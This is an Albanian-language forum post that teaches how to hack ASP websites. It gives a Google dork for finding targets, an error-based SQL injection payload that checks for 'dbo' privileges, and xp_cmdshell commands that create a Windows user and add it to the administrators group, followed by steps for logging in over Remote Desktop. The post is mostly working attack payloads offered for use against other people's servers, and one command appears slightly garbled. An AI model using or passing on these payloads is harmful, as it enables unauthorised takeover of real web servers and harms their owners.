search-globe - Hack Webs

Se pari webi duhe te jet 'dbo'

Per te gjetur weba dbo kerkoni ne google keshtu

Kodi:

inurl:/".asp?id=
Me pas e gjeni ni web psh

http://www.website.com/index.asp?id=102

Ja fshim ket 102

edhe ja shtojme ket pjesen

Kodi:

convert(int,(select+user));--
Edhe me pas bohet kshtu

Kodi:

http://www.webiste.com/index.asp=con...lect+user));--
Edhe ju del diqka error do nr nese atty e keni ne kllapa 'dbo'

ateher ja shtojme ket coden

Kodi:

id=1;exec%20master..xp_cmdshell 'net user chs chskhg /add';--
Tash bohet ksthu

Kodi:

http://www.webiste.com/index.asp?id=...r..xp_cmdshell 'net user chs chskhg /add';--
Tash useri jon shtu po per me bo admin user ja bojm kshtu

Kodi:

Tash per mu connectu ne vps ja bojm kshtu

Him

Start , run , cmd e shrkujm " ping domaini i webit " edhe na del IP

Tash shkojme Start , Programs , Accessories , Communitation , Remote desktop conection.
Edhe ja japmi IP e webit

edhe User o

chs

Passi osht chskhg

ktu nvaret qysh e shkruni ju se un kur e kom shtu ket coden

Kodi:

exec%20master..xp_cmdshell 'net localgroup administrators by chs chskhg /add';--
Dmth useri o ky me te kuqe kurse passi me te kalter[/size]